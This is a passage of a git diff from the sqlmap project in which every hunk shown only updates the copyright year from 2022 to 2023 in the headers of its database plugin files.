+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cache/connector.py b/plugins/dbms/cache/connector.py
index 03706f0911b..000db10fc00 100644
--- a/plugins/dbms/cache/connector.py
+++ b/plugins/dbms/cache/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cache/enumeration.py b/plugins/dbms/cache/enumeration.py
index 56e580f00b7..bc81558c4be 100644
--- a/plugins/dbms/cache/enumeration.py
+++ b/plugins/dbms/cache/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cache/filesystem.py b/plugins/dbms/cache/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/cache/filesystem.py
+++ b/plugins/dbms/cache/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cache/fingerprint.py b/plugins/dbms/cache/fingerprint.py
index d226529340e..feca88a5ba5 100644
--- a/plugins/dbms/cache/fingerprint.py
+++ b/plugins/dbms/cache/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cache/syntax.py b/plugins/dbms/cache/syntax.py
index ec33fa6f7bb..6ee81215240 100644
--- a/plugins/dbms/cache/syntax.py
+++ b/plugins/dbms/cache/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cache/takeover.py b/plugins/dbms/cache/takeover.py
index 681a2355cc5..cf933aee3e3 100644
--- a/plugins/dbms/cache/takeover.py
+++ b/plugins/dbms/cache/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cratedb/__init__.py b/plugins/dbms/cratedb/__init__.py
index 9d9a40b8aa6..843b750212e 100644
--- a/plugins/dbms/cratedb/__init__.py
+++ b/plugins/dbms/cratedb/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cratedb/connector.py b/plugins/dbms/cratedb/connector.py
index 2b9b7782991..15a2b48e358 100644
--- a/plugins/dbms/cratedb/connector.py
+++ b/plugins/dbms/cratedb/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cratedb/enumeration.py b/plugins/dbms/cratedb/enumeration.py
index 9f7c802d4bc..ce0ad614b26 100644
--- a/plugins/dbms/cratedb/enumeration.py
+++ b/plugins/dbms/cratedb/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cratedb/filesystem.py b/plugins/dbms/cratedb/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/cratedb/filesystem.py
+++ b/plugins/dbms/cratedb/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cratedb/fingerprint.py b/plugins/dbms/cratedb/fingerprint.py
index 58b4796b4df..26ee988e985 100644
--- a/plugins/dbms/cratedb/fingerprint.py
+++ b/plugins/dbms/cratedb/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cratedb/syntax.py b/plugins/dbms/cratedb/syntax.py
index 6b5fd76a63a..b53aa83ad0a 100644
--- a/plugins/dbms/cratedb/syntax.py
+++ b/plugins/dbms/cratedb/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cratedb/takeover.py b/plugins/dbms/cratedb/takeover.py
index 3c832735128..87195fd1fdb 100644
--- a/plugins/dbms/cratedb/takeover.py
+++ b/plugins/dbms/cratedb/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cubrid/__init__.py b/plugins/dbms/cubrid/__init__.py
index 09716acd1f7..854ed4c0f70 100644
--- a/plugins/dbms/cubrid/__init__.py
+++ b/plugins/dbms/cubrid/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cubrid/connector.py b/plugins/dbms/cubrid/connector.py
index e08b89a15a2..1be6d7d1a33 100644
--- a/plugins/dbms/cubrid/connector.py
+++ b/plugins/dbms/cubrid/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cubrid/enumeration.py b/plugins/dbms/cubrid/enumeration.py
index 1a88581f3cc..edc43413141 100644
--- a/plugins/dbms/cubrid/enumeration.py
+++ b/plugins/dbms/cubrid/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cubrid/filesystem.py b/plugins/dbms/cubrid/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/cubrid/filesystem.py
+++ b/plugins/dbms/cubrid/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cubrid/fingerprint.py b/plugins/dbms/cubrid/fingerprint.py
index 14e34215988..375ee52e9e6 100644
--- a/plugins/dbms/cubrid/fingerprint.py
+++ b/plugins/dbms/cubrid/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cubrid/syntax.py b/plugins/dbms/cubrid/syntax.py
index c387389d31b..3b75df1656e 100644
--- a/plugins/dbms/cubrid/syntax.py
+++ b/plugins/dbms/cubrid/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/cubrid/takeover.py b/plugins/dbms/cubrid/takeover.py
index 361e4909e41..063b2a2d56e 100644
--- a/plugins/dbms/cubrid/takeover.py
+++ b/plugins/dbms/cubrid/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/db2/__init__.py b/plugins/dbms/db2/__init__.py
index 7bb040ba44b..433dbb2bf12 100644
--- a/plugins/dbms/db2/__init__.py
+++ b/plugins/dbms/db2/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py
index c8d02c1cd59..d83845d98fd 100644
--- a/plugins/dbms/db2/connector.py
+++ b/plugins/dbms/db2/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py
index c5bd233fc5d..aca27237278 100644
--- a/plugins/dbms/db2/enumeration.py
+++ b/plugins/dbms/db2/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/db2/filesystem.py
+++ b/plugins/dbms/db2/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py
index 5f53ff19a19..14e6a56ca97 100644
--- a/plugins/dbms/db2/fingerprint.py
+++ b/plugins/dbms/db2/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py
index 51d87d21225..b6b6c633dc8 100644
--- a/plugins/dbms/db2/syntax.py
+++ b/plugins/dbms/db2/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/db2/takeover.py b/plugins/dbms/db2/takeover.py
index 1d0ae95f4b4..bcbc4b5e11d 100644
--- a/plugins/dbms/db2/takeover.py
+++ b/plugins/dbms/db2/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/derby/__init__.py b/plugins/dbms/derby/__init__.py
index f965c1150df..4e1362b8aee 100644
--- a/plugins/dbms/derby/__init__.py
+++ b/plugins/dbms/derby/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/derby/connector.py b/plugins/dbms/derby/connector.py
index 732d6a2316d..004fb2ec83f 100644
--- a/plugins/dbms/derby/connector.py
+++ b/plugins/dbms/derby/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/derby/enumeration.py b/plugins/dbms/derby/enumeration.py
index 8bddb5472ba..58dbf9f5901 100644
--- a/plugins/dbms/derby/enumeration.py
+++ b/plugins/dbms/derby/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/derby/filesystem.py b/plugins/dbms/derby/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/derby/filesystem.py
+++ b/plugins/dbms/derby/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/derby/fingerprint.py b/plugins/dbms/derby/fingerprint.py
index c9cb3c0bc9f..2a5a7797359 100644
--- a/plugins/dbms/derby/fingerprint.py
+++ b/plugins/dbms/derby/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/derby/syntax.py b/plugins/dbms/derby/syntax.py
index 6b5fd76a63a..b53aa83ad0a 100644
--- a/plugins/dbms/derby/syntax.py
+++ b/plugins/dbms/derby/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/derby/takeover.py b/plugins/dbms/derby/takeover.py
index 02a7e32bdaa..4628871efcf 100644
--- a/plugins/dbms/derby/takeover.py
+++ b/plugins/dbms/derby/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/extremedb/__init__.py b/plugins/dbms/extremedb/__init__.py
index 06ed0c841a6..ecc67a1e539 100644
--- a/plugins/dbms/extremedb/__init__.py
+++ b/plugins/dbms/extremedb/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/extremedb/connector.py b/plugins/dbms/extremedb/connector.py
index c39deba8b48..4b1cf53fb59 100644
--- a/plugins/dbms/extremedb/connector.py
+++ b/plugins/dbms/extremedb/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/extremedb/enumeration.py b/plugins/dbms/extremedb/enumeration.py
index 2f3e0aff557..c1440dcf64e 100644
--- a/plugins/dbms/extremedb/enumeration.py
+++ b/plugins/dbms/extremedb/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/extremedb/filesystem.py b/plugins/dbms/extremedb/filesystem.py
index ad668443542..99f47dd3bdf 100644
--- a/plugins/dbms/extremedb/filesystem.py
+++ b/plugins/dbms/extremedb/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/extremedb/fingerprint.py b/plugins/dbms/extremedb/fingerprint.py
index 3ac51e2f47e..f0e419a251b 100644
--- a/plugins/dbms/extremedb/fingerprint.py
+++ b/plugins/dbms/extremedb/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/extremedb/syntax.py b/plugins/dbms/extremedb/syntax.py
index 6b5fd76a63a..b53aa83ad0a 100644
--- a/plugins/dbms/extremedb/syntax.py
+++ b/plugins/dbms/extremedb/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/extremedb/takeover.py b/plugins/dbms/extremedb/takeover.py
index d5c85b7f50f..0796d3613ae 100644
--- a/plugins/dbms/extremedb/takeover.py
+++ b/plugins/dbms/extremedb/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/firebird/__init__.py b/plugins/dbms/firebird/__init__.py
index 41e96185017..a6155b614f2 100644
--- a/plugins/dbms/firebird/__init__.py
+++ b/plugins/dbms/firebird/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py
index cabd43fdadc..28b0aa682ff 100644
--- a/plugins/dbms/firebird/connector.py
+++ b/plugins/dbms/firebird/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py
index 6da166bb38d..2bf8626174f 100644
--- a/plugins/dbms/firebird/enumeration.py
+++ b/plugins/dbms/firebird/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py
index 2d35c0a7222..f92c3d7acd1 100644
--- a/plugins/dbms/firebird/filesystem.py
+++ b/plugins/dbms/firebird/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py
index 2b0b4d46aa1..b6ddb1c4d8b 100644
--- a/plugins/dbms/firebird/fingerprint.py
+++ b/plugins/dbms/firebird/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py
index b03d1699b19..56831d72ec5 100644
--- a/plugins/dbms/firebird/syntax.py
+++ b/plugins/dbms/firebird/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py
index e4c75689e5b..6ded0437213 100644
--- a/plugins/dbms/firebird/takeover.py
+++ b/plugins/dbms/firebird/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/frontbase/__init__.py b/plugins/dbms/frontbase/__init__.py
index 449b5dd09b6..53f9a22a8f5 100644
--- a/plugins/dbms/frontbase/__init__.py
+++ b/plugins/dbms/frontbase/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/frontbase/connector.py b/plugins/dbms/frontbase/connector.py
index ce24422d991..4e25dd9516c 100644
--- a/plugins/dbms/frontbase/connector.py
+++ b/plugins/dbms/frontbase/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/frontbase/enumeration.py b/plugins/dbms/frontbase/enumeration.py
index 0542df4278b..88596caac17 100644
--- a/plugins/dbms/frontbase/enumeration.py
+++ b/plugins/dbms/frontbase/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/frontbase/filesystem.py b/plugins/dbms/frontbase/filesystem.py
index 253bcffb19b..ca58e1c5002 100644
--- a/plugins/dbms/frontbase/filesystem.py
+++ b/plugins/dbms/frontbase/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/frontbase/fingerprint.py b/plugins/dbms/frontbase/fingerprint.py
index 5f142b9820e..06d03371f13 100644
--- a/plugins/dbms/frontbase/fingerprint.py
+++ b/plugins/dbms/frontbase/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/frontbase/syntax.py b/plugins/dbms/frontbase/syntax.py
index 6b5fd76a63a..b53aa83ad0a 100644
--- a/plugins/dbms/frontbase/syntax.py
+++ b/plugins/dbms/frontbase/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/frontbase/takeover.py b/plugins/dbms/frontbase/takeover.py
index db88528342c..9eb74a13b32 100644
--- a/plugins/dbms/frontbase/takeover.py
+++ b/plugins/dbms/frontbase/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/h2/__init__.py b/plugins/dbms/h2/__init__.py
index 8455010c226..f570b406c83 100644
--- a/plugins/dbms/h2/__init__.py
+++ b/plugins/dbms/h2/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/h2/connector.py b/plugins/dbms/h2/connector.py
index 1bbdd5b780c..f72a9ad4d76 100644
--- a/plugins/dbms/h2/connector.py
+++ b/plugins/dbms/h2/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py
index 81fb1a52a3c..d833de65c91 100644
--- a/plugins/dbms/h2/enumeration.py
+++ b/plugins/dbms/h2/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py
index e2074d15036..42a8943eef0 100644
--- a/plugins/dbms/h2/filesystem.py
+++ b/plugins/dbms/h2/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py
index c1403e592b4..822e1723ed9 100644
--- a/plugins/dbms/h2/fingerprint.py
+++ b/plugins/dbms/h2/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/h2/syntax.py b/plugins/dbms/h2/syntax.py
index 9bd95ffd2ec..27a7f0ddf58 100644
--- a/plugins/dbms/h2/syntax.py
+++ b/plugins/dbms/h2/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py
index 15f437e56c3..556a11c76bb 100644
--- a/plugins/dbms/h2/takeover.py
+++ b/plugins/dbms/h2/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/hsqldb/__init__.py b/plugins/dbms/hsqldb/__init__.py
index 54209511600..46745fa794f 100644
--- a/plugins/dbms/hsqldb/__init__.py
+++ b/plugins/dbms/hsqldb/__init__.py
